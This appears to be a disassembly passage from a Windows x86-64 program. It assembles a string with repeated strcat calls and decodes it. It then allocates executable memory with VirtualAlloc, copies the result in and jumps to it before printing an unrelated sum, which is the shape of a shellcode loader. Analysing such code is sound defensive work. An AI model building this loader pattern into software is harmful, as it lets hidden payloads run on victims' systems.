mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x468]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x470]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x478]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x480]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x488]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x490]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x498]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4a0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4a8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4b0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4b8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4c0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4c8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4d0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x4d8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
lea rax, [0x004061d5]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov qword [rbp - 0xd28], rax
mov rax, qword [rbp - 0xd28]
mov r11, rax
lea rax, [rbp - 0xd1f]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401800
mov eax, 0x40
mov r9, rax
mov eax, 0x3000
mov r8, rax
movabs rax, 0x847
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAlloc
mov qword [rbp - 0xd30], rax
movabs rax, 0x847
mov r8, rax
lea rax, [rbp - 0xd1f]
mov r11, rax
mov rax, qword [rbp - 0xd30]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memmove
mov rax, qword [rbp - 0xd30]
mov qword [rbp - 0xd38], rax
mov r11, qword [rbp - 0xd38]
call r11
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
add eax, ecx
mov ecx, dword [0x00404008]
add eax, ecx
mov ecx, dword [0x0040400c]
add eax, ecx
mov r11, rax
lea rax, [0x004061d7]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
leave
ret